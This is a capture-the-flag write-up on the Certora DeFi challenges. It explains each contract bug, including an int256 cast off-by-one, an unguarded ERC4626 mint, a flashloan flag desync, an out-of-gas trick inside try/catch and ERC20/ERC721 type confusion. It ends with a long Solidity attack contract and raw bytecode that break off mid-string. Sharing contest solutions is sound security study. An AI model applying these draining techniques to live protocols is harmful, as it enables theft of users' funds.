# Certora CTF Writeup This Certora CTF consists of 6 challenges that are not isolated. Some of them are interconnected, which I think is a great way to demonstrate DeFi's composability (and how vulnerabilities can cascade through an entire ecosystem). The goal is to extract as much funds as possible from the system. --- ## Exchange When I first read the contracts, they instantly gave me the notorious Balancer v2 vulnerability vibe. However, upon further review, I realized there wasn't a classic rounding error vulnerability that would allow me to drain significant amounts of funds. No free lunch from precision loss this time. ### The Bug Hunt I then noticed something suspicious in the `toInt256` implementation in `ExchangeVault.sol`: ```solidity function toInt256(uint256 value) internal pure returns (int256 result) { assembly { let max := shl(255, 1) // max = 2^255 if gt(value, max) { revert(0, 0) } result := value } } ``` The issue here is subtle but critical: `gt(value, max)` checks if `value > max`, meaning when `value == 2^255`, the check passes and we get `result = 2^255`. But `2^255` in two's complement is actually `-2^255` (the minimum int256 value). This is a classic off-by-one error. It should be `if iszero(lt(value, max))` to properly reject `2^255`. An attack idea formed in my mind: use this bug to break the credit and debt accounting by passing `2^255` to the `_takeDebt` function. When `_takeDebt(token, 2^255)` is called, it executes `_accountDelta(token, toInt256(2^255))`, which results in `_accountDelta(token, -2^255)`. This would give us a massive *credit* instead of a debt! However, finding a path to actually trigger this was tricky. Most paths involved fee calculations, and `2^255 * fee / 10000` would overflow. I spent at least 2 days staring at this challenge, and then later convinced there was something beyond this contract alone. ### The Missing Piece So I started examining other components. The deployment script looked clean. Then I went over the token contracts, and the `_update` function in `NISC.sol` caught my attention: ```solidity function _update(address from, address to, uint256 value) internal override { if (from == to) { return; // Skip self-transfers for "gas optimization" } super._update(from, to, value); } ``` This innocuous-looking "gas optimization" is actually a critical vulnerability. When `from == to`, the transfer *returns success* without actually checking balances or moving any tokens! ### The Attack With this knowledge, the attack becomes elegant: 1. Call `exchangeVault.sendTo(nisc, address(exchangeVault), 1 << 255)` 2. Since `from == to` (vault to vault), the NISC transfer succeeds without any balance check 3. The vault calls `_takeDebt(nisc, 2^255)`, which due to the `toInt256` bug, actually records a credit of `2^255` 4. We now have astronomical credit in the system. Swap for all the USDC we want 5. Clear the remaining delta with another `sendTo` to pass the `transient` modifier check --- ## Lending The lending protocol was a treasure trove of vulnerabilities. Let's go through them systematically. ### Observation #1: Flashloan Reduces Pool Cash The first thing that caught my eye was that flashloan operations directly manipulate `_poolCash`: ```solidity function flashloanWithdraw(uint256 amount) external onlyFlashloanContract nonReentrant returns (uint256) { require(amount <= _poolCash, "LendingPool: Not enough cash for flashloan"); _flashloanActive = true; _poolCash -= amount; IERC20(asset()).safeTransfer(msg.sender, amount); return amount; } ``` This is suspicious because `_poolCash` directly affects the pool's `totalAssets()` calculation, which in turn affects share pricing. Anything that lets us artificially deflate `totalAssets()` during share minting is a potential exploit vector. ### Observation #2: Missing ERC4626 Override Another thing I noticed was that `LendingPool` inherits from `ERC4626` but doesn't override the `mint` function. Meanwhile, `deposit`, `withdraw`, and `redeem` are all protected by the `notDuringFlashloan` modifier: ```solidity function deposit(uint256 assets, address receiver) public override nonReentrant notDuringFlashloan returns (uint256 shares) { // ...protected } // But mint() is inherited directly from ERC4626 without protection! ``` This is clearly intentional protection against share price manipulation during flashloans when `_poolCash` is temporarily reduced. But `mint()` slipped through the cracks. ### Observation #3: Flashloan State Desync The flashloan mechanism uses a boolean `_flashloanActive` to track whether a flashloan is in progress: ```solidity function flashloanReturn(uint256 amount) external onlyFlashloanContract nonReentrant { _poolCash += amount; _flashloanActive = false; } ``` The problem: `_flashloanActive` is a boolean, not a counter. If we call flashloans recursively: 1. Outer flashloan: `_flashloanActive = true` 2. Inner flashloan: `_flashloanActive = true` (no-op) 3. Inner flashloan returns: `_flashloanActive = false` ← **BUG!** 4. Now we can bypass `notDuringFlashloan` while the outer flashloan is still active ### Observation #4: Flashloan Fee Reduction The flashloan has a painful 10% fee. However, since flashloans can be called recursively and the contract uses balance checking rather than tracking individual repayments, we can exploit this: ```solidity require(token.balanceOf(address(this)) >= initialBalance + fee, "FlashLoaner: Insufficient repayment"); ``` If we borrow 100 tokens first, then borrow another 1000 tokens in the callback, when the inner flashloan completes, we repay all 1100. The outer flashloan then only needs us to add the fee for the original 100 (which is 10). We've borrowed 1100 total but only paid ~10 in fees, reducing the effective fee from 10% to around 1%. This can be further optimized by increasing recursion depth. ### Putting It Together The core idea is straightforward: during a flashloan, call `mint` when `totalAssets()` returns an underestimated value, then drain the pool with the shares we obtained. Since `totalAssets()` is composed of `_poolCash` plus outstanding debt, we can further optimize by reducing the debt component. This means liquidating active positions before the attack. To liquidate a position, we use flashloans to manipulate `_poolCash`, which affects the collateral value calculation. Combined with the `_flashloanActive` bypass, we can perform liquidations even during an active flashloan. The attack is complex but the core vulnerabilities are clear: unprotected `mint()`, boolean instead of counter for flashloan tracking, and balance-based fee checking that enables fee reduction. --- ## Community Insurance We can separate this challenge into two parts: draining deposited funds and draining the reward tokens. ### Draining Deposited Funds The Community Insurance contract can liquidate bad debt positions from the lending protocol. Since we already have all the tools to manipulate collateral values via flashloans from the previous challenge, we can deliberately create bad debt positions. Just borrow heavily, then use flashloans to crash the collateral value. ### Draining Reward Tokens: The 63/64 Gas Rule This is where it gets interesting. Look at the `_update` function: ```solidity function _update(address from, address to, uint256 value) internal override { // ... transfer logic ... super._update(from, to, value); // Update rewards wrapped in try/catch if (from != address(0)) { uint256 freeFrom = balanceOf(from) + value - originalShares; try IRewardDistributor(rewardDistributor).updateReward(from, freeFrom, totalFree) {} catch {} } if (to != address(0)) { uint256 freeTo = balanceOf(to) - withdrawRequests[to].shares - value; try IRewardDistributor(rewardDistributor).updateReward(to, freeTo, totalFree) {} catch {} } } ``` Why would you wrap `updateReward` in a try/catch? This seemingly defensive pattern opens up a fascinating attack vector based on the EVM's 63/64 gas rule. When making an external call, the EVM only forwards at most 63/64 of the remaining gas. This means: 1. If we carefully control the gas, we can make `updateReward` run out of gas 2. The catch block catches the OOG exception 3. The remaining 1/64 of gas is enough to complete the rest of execution 4. Result: the transfer succeeds but `userRewardPerTokenPaid` is NOT updated! ### The Attack We make a deposit with carefully controlled gas so that the `updateReward` call fails due to OOG, but the deposit itself succeeds. Our share balance increases, but `userRewardPerTokenPaid` stays at 0. We can then claim all the rewards available in the protocol. I've identified a similar OOG issue in try/catch during a private security review years ago. There's also a great CTF challenge by jinu related to this pattern: [https://dreamhack.io/wargame/challenges/1322](https://dreamhack.io/wargame/challenges/1322). So this one took the least time for me to solve. Sometimes past experience really pays off! --- ## Investment This one is refreshingly straightforward compared to the others. ### The Vulnerability Looking at `InvestmentVault.sol`, the `IdleMarket` has a special position in the market ordering: - **Deposit flow**: Markets are filled in order, IdleMarket is *last* - **Withdraw flow**: Markets are drained in reverse order, IdleMarket is *first* ```solidity function _supplyFunds(uint256 assets) internal { for (uint256 i = 0; i < markets.length; i++) { // IdleMarket is last // ... } } function _withdrawFunds(uint256 assets) internal { for (uint256 i = markets.length-1 ; i >=0 ; i--) { // IdleMarket is first to drain // ... } } ``` ### The Attack Since IdleMarket is last in the deposit order but first in the withdrawal order, we can simply deposit and then immediately withdraw to drain the IdleMarket's existing balance. Any remaining funds can be obtained by exploiting the lending protocol instead. --- ## Auction This challenge showcases a classic type confusion vulnerability. ### The Vulnerability In `createAuction`, the function accepts an `IERC721 nftContract` parameter but performs no validation that it's actually an ERC721: ```solidity function createAuction( IERC721 nftContract, uint256 tokenId, // ... ) external nonReentrant returns (uint256 auctionId) { // ... nftContract.transferFrom(msg.sender, address(vault), tokenId); // ... } ``` Both ERC20 and ERC721 have `transferFrom(address, address, uint256)` with the same function signature. The key difference is that ERC721 interprets the third parameter as `tokenId`, while ERC20 interprets it as `amount`. We can exploit this by passing a payment token address as the `nftContract` parameter. This transfers payment tokens to the vault, which inflates the AuctionToken's share value (since each share now represents more underlying tokens). We can then bid with minimal AuctionToken shares, and finally use `_settleAuction` to transfer the same amount of payment tokens back out. Free money from thin air. ### Acquiring Lottery #0 For lottery #0, the vault is initially empty (After draining the lending protocol), so we can maximally inflate the share value. The attack is straightforward: deposit a tiny amount of payment token, create a fake auction with our target token as the "NFT", bid on the lottery with our now-inflated shares, and settle. ### Acquiring Lottery #1 and #2 For lottery tickets #1 and #2, the situation is more complex. The vault already contains some NISC tokens, and our NISC balance is limited, so the inflation potential is constrained. We need to optimize. The approach is: 1. First, reduce the NISC in the vault while increasing our own NISC balance 2. Deposit some NISC via `depositERC20`, then create an auction to inflate the NISC AuctionToken share value 3. The deposit amount and auction amount can be calculated by solving equations for the optimal ratio 4. Call `withdrawERC20` to extract extra NISC using the inflated shares 5. Settle the auction to recover our NISC There's an important caveat: once we call `settleAuction`, the contract executes `setApprovalForNFT`, which since our `nftContract` is actually the NISC address, translates to an `approve` call that overwrites the existing approval amount. If we repeat this process, `withdrawERC20` will fail due to insufficient approval. So we need to plan carefully. With enough NISC accumulated, we can then purchase lottery tickets #1 and #2 using a similar pattern: deposit a small amount of NISC, create an auction to inflate share value, buy one lottery ticket, settle the auction, then repeat for the other ticket. The exact amounts can be optimized by solving for the minimum NISC needed to purchase both tickets. --- ## Lottery The lottery challenge is a example of function signature collision. ### Initial Observation When I first saw this challenge, something felt off. The `LotteryExtension.sol` contents could easily fit inside `Lottery.sol`. Why use `delegatecall` at all? ```solidity // Lottery.sol fallback() external { require(address(extension) != address(0), "Extension not set"); (bool success, bytes memory returnData) = address(extension).delegatecall(msg.data); // ... } ``` I tried merging `LotteryExtension.sol` into `Lottery.sol` and... it wouldn't compile due to duplicate function signatures! ### The Collision Since the function selector is computed from the function name and parameter types, calls to these functions will match the main contract's implementation directly, never triggering the `fallback()` to reach the extension. ### Solving the Math Each solve function requires finding `x` such that: ``` x² ≡ magic (mod N) ``` Where `N` is a product of two primes (RSA-style), making this a quadratic residue problem. The solution approach: 1. Factor `N` into `p * q` 2. Solve `x² ≡ magic (mod p)` using the Tonelli-Shanks algorithm 3. Solve `x² ≡ magic (mod q)` using the Tonelli-Shanks algorithm 4. Combine solutions using the Chinese Remainder Theorem Since we have three lottery tickets (purchased via the auction exploit), we pick three high-reward challenges without collisions and solve them. Each successful solve yields `magic * 10^6` USDC in bonus, plus the base prize. Not bad for some number theory! --- ## Solution I didn't spend much time optimizing the readability or efficiency of my attack contract, so the code isn't particularly clean. If you're interested in taking a look anyway: <details> <summary>My solution</summary> ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/utils/math/Math.sol"; import "./interfaces/ILotteryExtension.sol"; import "./interfaces/IAuctionManager.sol"; import "./interfaces/IAuctionToken.sol"; import "./interfaces/IAuctionVault.sol"; import "./interfaces/ICommunityInsurance.sol"; import "./interfaces/IExchange.sol"; import "./interfaces/IExchangeVault.sol"; import "./interfaces/IFlashLoaner.sol"; import "./interfaces/IIdleMarket.sol"; import "./interfaces/IInvestmentVault.sol"; import "./interfaces/IInvestmentVaultFactory.sol"; import "./interfaces/ILendingFactory.sol"; import "./interfaces/ILendingManager.sol"; import "./interfaces/ILendingPool.sol"; import "./interfaces/ILottery.sol"; import "./interfaces/ILotteryCommon.sol"; import "./interfaces/ILotteryStorage.sol"; import "./interfaces/IPool.sol"; import "./interfaces/IPriceOracle.sol"; import "./interfaces/IRewardDistributor.sol"; import "./interfaces/IStrategy.sol"; import "./interfaces/IWeth.sol"; import "./Exchange/PoolHelper.sol"; import "hardhat/console.sol"; interface ILendingPoolBorrower3 { function borrow( IERC20 debtToken, ILendingPool debtTokenPool, ILendingPool collateralPool, IERC20 collateralToken, ILendingManager lendingManager, uint256 collateralAmount, uint256 debtAmount ) external; } interface ICommunityInsuranceWithBadDebt3 { function liquidateBadDebt(ILendingManager manager, address user, ILendingManager.AssetType assetType) external; } contract LendingPoolBorrower3 is ILendingPoolBorrower3 { IERC20 public constant usdc = IERC20(0xBf1C7F6f838DeF75F1c47e9b6D3885937F899B7C); function borrow( IERC20 debtToken, ILendingPool debtTokenPool, ILendingPool collateralPool, IERC20 collateralToken, ILendingManager lendingManager, uint256 collateralAmount, uint256 debtAmount ) public { collateralToken.approve(address(collateralPool), collateralAmount); collateralPool.deposit(collateralAmount, address(this)); collateralPool.approve(address(lendingManager), collateralPool.balanceOf(address(this))); ILendingManager.AssetType collateralType = collateralToken == usdc ? ILendingManager.AssetType.A : ILendingManager.AssetType.B; ILendingManager.AssetType debtType = debtToken == usdc ? ILendingManager.AssetType.A : ILendingManager.AssetType.B; lendingManager.lockCollateral(collateralType, collateralPool.balanceOf(address(this))); uint256 remaining = debtAmount - 5; debtToken.approve(address(debtTokenPool), type(uint256).max); debtTokenPool.updateIndex(); while (remaining > 0) { uint256 cashLeft = debtTokenPool.getCash(); uint256 borrowAmount = remaining > cashLeft ? cashLeft : remaining; lendingManager.borrow(debtType, borrowAmount); remaining -= borrowAmount; if (remaining != 0) { uint256 depositAmount = remaining < borrowAmount ? remaining : borrowAmount; debtTokenPool.deposit(depositAmount, address(this)); } } debtToken.transfer(msg.sender, debtToken.balanceOf(address(this))); } } contract AttackContract3 is IFlashLoanReceiver { IERC20 public constant usdc = IERC20(0xBf1C7F6f838DeF75F1c47e9b6D3885937F899B7C); IERC20 public constant nisc = IERC20(0x20e4c056400C6c5292aBe187F832E63B257e6f23); IWeth public constant weth = IWeth(0x13d78a4653e4E18886FBE116FbB9065f1B55Cd1d); ILottery public constant lottery = ILottery(0x6D03B9e06ED6B7bCF5bf1CF59E63B6eCA45c103d); ILotteryExtension public constant lotteryExtension = ILotteryExtension(0x6D03B9e06ED6B7bCF5bf1CF59E63B6eCA45c103d); IAuctionVault public constant auctionVault = IAuctionVault(0x9f4a3Ba629EF680c211871c712053A65aEe463B0); IAuctionManager public constant auctionManager = IAuctionManager(0x228F0e62b49d2b395Ee004E3ff06841B21AA0B54); IStrategy public constant lendingPoolStrategy = IStrategy(0xC5cBC10e8C7424e38D45341bD31342838334dA55); IExchangeVault public constant exchangeVault = IExchangeVault(0x776B51e76150de6D50B06fD0Bd045de0a13D68C7); // Replaced storage arrays with individual constants IPool public constant productPool0 = IPool(0x536BF770397157efF236647d7299696B90Bc95f1); IPool public constant productPool1 = IPool(0x6cAC85Dc0D547225351097Fb9eEb33D65978bb73); IPriceOracle public constant priceOracle = IPriceOracle(0x9231ffAC09999D682dD2d837a5ac9458045Ba1b8); ILendingFactory public constant lendingFactory = ILendingFactory(0xdC5b6f8971AD22dC9d68ed7fB18fE2DB4eC66791); ILendingManager public constant lendingManager0 = ILendingManager(0x66bf9ECb0B63dC4815Ab1D2844bE0E06aB506D4f); ILendingManager public constant lendingManager1 = ILendingManager(0x5FdA5021562A2Bdfa68688d1DFAEEb2203d8d045); ILendingPool public constant lendingPoolA0 = ILendingPool(0xfAC23E673e77f76c8B90c018c33e061aE8F8CBD9); ILendingPool public constant lendingPoolA1 = ILendingPool(0xFa6c040D3e2D5fEB86Eda9e22736BbC6eA81a16b); ILendingPool public constant lendingPoolB0 = ILendingPool(0xb022AE7701DF829F2FF14B51a6DFC8c9A95c6C61); ILendingPool public constant lendingPoolB1 = ILendingPool(0x537B309Fec55AD15Ef2dFae1f6eF3AEBD80d0d9c); IFlashLoaner public constant flashLoaner = IFlashLoaner(0x5861a917A5f78857868D88Bd93A18A3Df8E9baC7); IInvestmentVaultFactory public constant investmentFactory = IInvestmentVaultFactory(0xd526270308228fDc16079Bd28eB1aBcaDd278fbD); IIdleMarket public constant usdcIdleMarket = IIdleMarket(0xB926534D703B249B586A818B23710938D40a1746); IInvestmentVault public constant investmentVault0 = IInvestmentVault(0x99828D8000e5D8186624263f1b4267aFD4E27669); IInvestmentVault public constant investmentVault1 = IInvestmentVault(0xe7A23A3Bf899f67e0B40809C8f449A7882f1a26E); ICommunityInsurance public constant communityInsurance = ICommunityInsurance(0x83f3997529982fB89C4c983D82d8d0eEAb2Bb034); IRewardDistributor public constant rewardDistributor = IRewardDistributor(0x73a8004bCD026481e27b5B7D0d48edE428891995); PoolHelper public constant poolHelper = PoolHelper(0x910B4Fb4E32b234DAADC4Cb7a43C3D56A46Ca220); struct FlashloanData { uint256 step; address asset; uint256 repayAmount; uint256 borrowAmount; uint256 depth; } uint256 internal inFlashloan = 0; uint256 internal lockedCollateral = 0; address internal wethBorrower; address internal niscBorrower; address internal usdcBorrower; constructor() payable {} function Attack() public { bytes memory cd = abi.encodeCall(AttackContract3.swapCallback, ()); exchangeVault.unlock(cd); exploitExchange(); exploitLottery(); usdc.transfer(msg.sender, usdc.balanceOf(address(this))); nisc.transfer(msg.sender, nisc.balanceOf(address(this))); weth.transfer(msg.sender, weth.balanceOf(address(this))); payable(msg.sender).transfer(address(this).balance); } function exploitLottery() internal { uint256 usdcBalanceBefore = usdc.balanceOf(address(this)); address(lottery).call(abi.encodeCall(ILotteryExtension.solveMulmod89443, (0, 50026629318756762526651012396395378096102264596730646887809992031890314654744))); uint256 usdcBalanceAfter = usdc.balanceOf(address(this)); usdcBalanceBefore = usdcBalanceAfter; address(lottery).call(abi.encodeCall(ILotteryExtension.solveMulmod90174, (1, 40289530849315046632803046237695507888814621779004955301521665942329666711931))); usdcBalanceAfter = usdc.balanceOf(address(this)); usdcBalanceBefore = usdcBalanceAfter; address(lottery).call(abi.encodeCall(ILotteryExtension.solveMulmod93740, (2, 70795557551797021934431357608483109706359776929814102558092893513146276451091))); usdcBalanceAfter = usdc.balanceOf(address(this)); } function exploitExchange() internal { bytes memory cd = abi.encodeCall(AttackContract3.swapCallback2, ()); exchangeVault.unlock(cd); weth.approve(address(poolHelper), type(uint256).max); poolHelper.swap(productPool0, weth, usdc, 5e18, 0, address(this)); } function swapCallback2() external { uint256 amount = 1 << 255; exchangeVault.sendTo(nisc, address(exchangeVault), amount); exchangeVault.swapInPool(productPool1, nisc, usdc, 1e45, 0); int256 usdcDelta = exchangeVault.tokenDelta(usdc); exchangeVault.sendTo(usdc, address(this), uint256(-usdcDelta)); exchangeVault.sendTo(nisc, address(this), nisc.balanceOf(address(exchangeVault))); int256 niscDelta = exchangeVault.tokenDelta(nisc); exchangeVault.sendTo(nisc, address(exchangeVault), uint256(-niscDelta)); } function exploit() public { usdc.approve(address(investmentVault0), type(uint256).max); usdc.approve(address(investmentVault1), type(uint256).max); investmentVault0.deposit(50000e6, address(this)); investmentVault1.deposit(50000e6, address(this)); investmentVault0.redeem(investmentVault0.balanceOf(address(this)), address(this), address(this)); investmentVault1.redeem(investmentVault1.balanceOf(address(this)), address(this), address(this)); bytes memory deployCode = hex"6080604052341561023a57610015565b60405190565b600080fd5b60018060a01b031690565b90565b61003c6100376100419261001a565b610025565b61001a565b90565b61004d90610028565b90565b61005990610044565b90565b90565b90565b61007661007161007b9261005c565b610025565b61005f565b90565b601f801991011690565b634e487b7160e01b600052604160045260246000fd5b906100a89061007e565b810190811060018060401b038211176100c057604052565b610088565b906100d86100d161000f565b928361009e565b565b60018060401b0381116100f05760208091020190565b610088565b90610107610102836100da565b6100c5565b918252565b369037565b9061013661011e836100f5565b9260208061012c86936100da565b920191039061010c565b565b61014190610028565b90565b61014d90610138565b90565b600080fd5b60e01b90565b600080fd5b600091031261016b57565b61015b565b5190565b60209181520190565b60200190565b61018c9061005f565b9052565b9061019d81602093610183565b0190565b60200190565b906101c46101be6101b784610170565b8093610174565b9261017d565b9060005b8181106101d55750505090565b9091926101ee6101e86001928651610190565b946101a1565b91019190916101c8565b61020e91602082019160008184039101526101a7565b90565b61021961000f565b3d6000823e3d90fd5b61022b90610028565b90565b61023790610222565b90565b6102577383f3997529982fb89c4c983d82d8d0eeab2bb034610050565b61027261026c6102676003610062565b610111565b91610144565b9063598b8e7190823b156102f6576102aa9261029f6000809461029361000f565b96879586948593610155565b8352600483016101f8565b03925af180156102f1576102c4575b6102c23361022e565bff5b6102e49060003d81116102ea575b6102dc818361009e565b810190610160565b386102b9565b503d6102d2565b610211565b61015056fe"; assembly { let result := create(0, add(deployCode, 0x20), mload(deployCode)) if iszero(result) { revert(0, 0) } } uint256[] memory amounts = new uint256[](3); amounts[0] = 400e6; amounts[1] = 1600e18; amounts[2] = 0.2e18; usdc.approve(address(communityInsurance), amounts[0]); nisc.approve(address(communityInsurance), amounts[1]); weth.approve(address(communityInsurance), amounts[2]); communityInsurance.deposit{gas: 70000}(amounts); rewardDistributor.claimReward(); address lendingUserA = 0xfa614DEB6D1b897099C15B512c5A62C6a6611bdC; usdc.approve(address(lendingManager0), type(uint256).max); lendingPoolA0.updateIndex(); lendingManager0.liquidate(ILendingManager.AssetType.A, lendingUserA); ILendingPool poolB0 = lendingPoolB0; poolB0.redeem(poolB0.balanceOf(address(this)), address(this), address(this)); exploitInsurance(); uint256 cash = lendingPoolA0.getCash(); uint256 flashloanFee; uint256 depth = 6; uint256 curCash = cash; uint256 curStep = 0; for (uint256 i = 0; i < depth; i++) { flashloanFee = curCash / 10 + 1; curCash = flashloanFee; } FlashloanData memory flashloanData = FlashloanData({ step: curStep++, asset: address(usdc), repayAmount: cash + curCash / 10 + 1, borrowAmount: curCash, depth: depth }); flashLoaner.flashloan(usdc, curCash, address(this), abi.encode(flashloanData)); lendingPoolA0.redeem(lendingPoolA0.balanceOf(address(this)), address(this), address(this)); address lendingUserB = 0x11c8738979A536F9F9AEE32d1724D62ac1adb7De; weth.approve(address(lendingManager0), type(uint256).max); lendingManager0.liquidate(ILendingManager.AssetType.B, lendingUserB); ICommunityInsuranceWithBadDebt3(address(communityInsurance)).liquidateBadDebt(lendingManager0, wethBorrower, ILendingManager.AssetType.B); cash = lendingPoolB0.getCash(); curCash = cash; for (uint256 i = 0; i < depth; i++) { flashloanFee = curCash / 10 + 1; curCash = flashloanFee; } flashloanData = FlashloanData({ step: curStep++, asset: address(weth), repayAmount: cash + curCash / 10 + 1, borrowAmount: curCash, depth: depth }); flashLoaner.flashloan(weth, curCash, address(this), abi.encode(flashloanData)); lendingPoolB0.redeem(lendingPoolB0.balanceOf(address(this)), address(this), address(this)); lendingPoolB0.deposit(1e18, address(this)); lendingPoolB0.approve(address(lendingManager0), type(uint256).max); lockedCollateral = lendingPoolB0.balanceOf(address(this)); lendingManager0.lockCollateral(ILendingManager.AssetType.B, lockedCollateral); lendingManager0.borrow(ILendingManager.AssetType.A, lendingPoolA0.getCash()); cash = lendingPoolA1.getCash(); curCash = cash; for (uint256 i = 0; i < depth; i++) { flashloanFee = curCash / 10 + 1; curCash = flashloanFee; } flashloanData = FlashloanData({ step: curStep++, asset: address(usdc), repayAmount: cash + curCash / 10 + 1, borrowAmount: curCash, depth: depth }); flashLoaner.flashloan(usdc, curCash, address(this), abi.encode(flashloanData)); lendingManager0.repay(ILendingManager.AssetType.A, lendingManager0.getDebt(ILendingManager.AssetType.A, address(this))); lendingManager0.unlockCollateral(ILendingManager.AssetType.B, lockedCollateral); lockedCollateral = 0; lendingPoolB0.redeem(lendingPoolB0.balanceOf(address(this)), address(this), address(this)); lendingPoolA0.deposit(1000000e6, address(this)); lendingPoolA0.approve(address(lendingManager0), type(uint256).max); lockedCollateral = lendingPoolA0.balanceOf(address(this)); lendingManager0.lockCollateral(ILendingManager.AssetType.A, lockedCollateral); lendingManager0.borrow(ILendingManager.AssetType.B, lendingPoolB0.getCash()); uint256[] memory insuranceAssets = communityInsurance.totalAssets(); ILendingPoolBorrower3 borrower = deployLendingPoolBorrower(); uint256 collateralAmount = 250000e18; uint256 debtAmount = insuranceAssets[0]; nisc.transfer(address(borrower), collateralAmount); borrower.borrow(usdc, lendingPoolA1, lendingPoolB1, nisc, lendingManager1, collateralAmount, debtAmount); usdcBorrower = address(borrower); cash = lendingPoolB1.getCash(); curCash = cash; for (uint256 i = 0; i < depth; i++) { flashloanFee = curCash / 10 + 1; curCash = flashloanFee; } flashloanData = FlashloanData({ step: curStep++, asset: address(nisc), repayAmount: cash + curCash / 10 + 1, borrowAmount: curCash, depth: depth }); flashLoaner.flashloan(nisc, curCash, address(this), abi.encode(flashloanData)); weth.approve(address(lendingManager0), type(uint256).max); lendingManager0.repay(ILendingManager.AssetType.B, lendingManager0.getDebt(ILendingManager.AssetType.B, address(this))); lendingManager0.unlockCollateral(ILendingManager.AssetType.A, lockedCollateral); lockedCollateral = 0; lendingPoolA0.redeem(lendingPoolA0.balanceOf(address(this)), address(this), address(this)); lendingPoolB0.deposit(weth.balanceOf(address(this)), address(this)); lendingPoolB0.approve(address(lendingManager0), type(uint256).max); lockedCollateral = lendingPoolB0.balanceOf(address(this)); lendingManager0.lockCollateral(ILendingManager.AssetType.B, lockedCollateral); lendingManager0.borrow(ILendingManager.AssetType.A, lendingPoolA0.getCash()); cash = lendingPoolA1.getCash(); curCash = cash; for (uint256 i = 0; i < depth; i++) { flashloanFee = curCash / 10 + 1; curCash = flashloanFee; } flashloanData = FlashloanData({ step: curStep++, asset: address(usdc), repayAmount: cash + curCash / 10 + 1, borrowAmount: curCash, depth: depth }); flashLoaner.flashloan(usdc, curCash, address(this), abi.encode(flashloanData)); lendingPoolA1.redeem(lendingPoolA1.balanceOf(address(this)), address(this), address(this)); lendingManager0.repay(ILendingManager.AssetType.A, lendingManager0.getDebt(ILendingManager.AssetType.A, address(this))); lendingManager0.unlockCollateral(ILendingManager.AssetType.B, lockedCollateral); lockedCollateral = 0; lendingPoolB0.redeem(lendingPoolB0.balanceOf(address(this)), address(this), address(this)); cash = lendingPoolB1.getCash(); curCash = cash; for (uint256 i = 0; i < depth; i++) { flashloanFee = curCash / 10 + 1; curCash = flashloanFee; } flashloanData = FlashloanData({ step: curStep++, asset: address(nisc), repayAmount: cash + curCash / 10 + 1, borrowAmount: curCash, depth: depth }); flashLoaner.flashloan(nisc, curCash, address(this), abi.encode(flashloanData)); lendingPoolB1.redeem(lendingPoolB1.balanceOf(address(this)), address(this), address(this)); exploitAuction(); } receive() external payable {} function exploitAuction() internal { weth.approve(address(auctionManager), type(uint256).max); usdc.approve(address(auctionManager), type(uint256).max); auctionManager.depositERC20(usdc, 0.1e6); auctionManager.depositERC20(weth, 100); uint256 usdcInAuction = usdc.balanceOf(address(this)); uint256 auctionId = auctionManager.createAuction(IERC721(address(usdc)), usdcInAuction, 0, 0, weth, 1); auctionManager.bid(0, 200000e6); uint256 withdrawableUsdc = usdc.balanceOf(address(auctionVault)) - usdcInAuction; auctionManager.withdrawERC20(usdc, withdrawableUsdc); auctionManager.bid(auctionId, 1); nisc.approve(address(auctionManager), type(uint256).max); auctionManager.depositERC20(nisc, 177000e18); // auctionManager.depositERC20(nisc, 177100e18); uint256 niscInAuction = nisc.balanceOf(address(this)); auctionId = auctionManager.createAuction(IERC721(address(nisc)), niscInAuction, 0, 0, weth, 1); uint256 niscAuctionBalance = auctionManager.auctionTokens(nisc).balanceOf(address(this)); auctionManager.withdrawERC20(nisc, niscAuctionBalance); auctionManager.bid(auctionId, 1); // auctionManager.depositERC20(nisc, 61900e18); auctionManager.depositERC20(nisc, 62000e18); niscInAuction = nisc.balanceOf(address(this)); auctionId = auctionManager.createAuction(IERC721(address(nisc)), niscInAuction, 0, 0, weth, 1); auctionManager.buy(2); auctionManager.bid(auctionId, 1); // auctionManager.depositERC20(nisc, 57000e18); auctionManager.depositERC20(nisc, 57100e18); niscInAuction = nisc.balanceOf(address(this)); auctionId = auctionManager.createAuction(IERC721(address(nisc)), niscInAuction, 0, 0, weth, 1); auctionManager.buy(1); auctionManager.bid(auctionId, 1); } function deployLendingPoolBorrower() internal returns (ILendingPoolBorrower3) { bytes memory bytecode = hex"608060405234601c57600e6020565b610d1061002c8239610d1090f35b6026565b60405190565b600080fdfe60806040526004361015610013575b6102b4565b61001e60003561003d565b80633e413bee1461003857636d9dd82e0361000e5761027a565b61010b565b60e01c90565b60405190565b600080fd5b600080fd5b600091031261005e57565b61004e565b60018060a01b031690565b90565b61008561008061008a92610063565b61006e565b610063565b90565b61009690610071565b90565b6100a29061008d565b90565b6100c273bf1c7f6f838def75f1c47e9b6d3885937f899b7c610099565b90565b6100cd6100a5565b90565b6100d990610071565b90565b6100e5906100d0565b90565b6100f1906100dc565b9052565b9190610109906000602085019401906100e8565b565b3461013b5761011b366004610053565b6101376101266100c5565b61012e610043565b918291826100f5565b0390f35b610049565b61014990610063565b90565b61015590610140565b90565b6101618161014c565b0361016857565b600080fd5b9050359061017a82610158565b565b61018590610140565b90565b6101918161017c565b0361019857565b600080fd5b905035906101aa82610188565b565b6101b590610140565b90565b6101c1816101ac565b036101c857565b600080fd5b905035906101da826101b8565b565b90565b6101e8816101dc565b036101ef57565b600080fd5b90503590610201826101df565b565b60e08183031261026f5761021a826000830161016d565b92610228836020840161019d565b92610236816040850161019d565b92610244826060830161016d565b9261026c61025584608085016101cd565b936102638160a086016101f4565b9360c0016101f4565b90565b61004e565b60000190565b346102af5761029961028d366004610203565b95949094939193610527565b6102a1610043565b806102ab81610274565b0390f35b610049565b600080fd5b6102c2906100d0565b90565b600080fd5b601f801991011690565b634e487b7160e01b600052604160045260246000fd5b906102f4906102ca565b810190811067ffffffffffffffff82111761030e57604052565b6102d4565b60e01b90565b151590565b61032781610319565b0361032e57565b600080fd5b905051906103408261031e565b565b9060208282031261035c5761035991600001610333565b90565b61004e565b61036a90610140565b9052565b610377906101dc565b9052565b91602061039d92949361039660408201966000830190610361565b019061036e565b565b6103a7610043565b3d6000823e3d90fd5b6103b9906100d0565b90565b905051906103c9826101df565b565b906020828203126103e5576103e2916000016103bc565b90565b61004e565b91602061040c9294936104056040820196600083019061036e565b0190610361565b565b610417906100d0565b90565b919061042e90600060208501940190610361565b565b600091031261043b57565b61004e565b634e487b7160e01b600052602160045260246000fd5b6002111561046057565b610440565b9061046f82610456565b565b61047a90610465565b90565b61048690610471565b9052565b9160206104ac9294936104a56040820196600083019061047d565b019061036e565b565b90565b6104c56104c06104ca926104ae565b61006e565b6101dc565b90565b634e487b7160e01b600052601160045260246000fd5b6104f26104f8919392936101dc5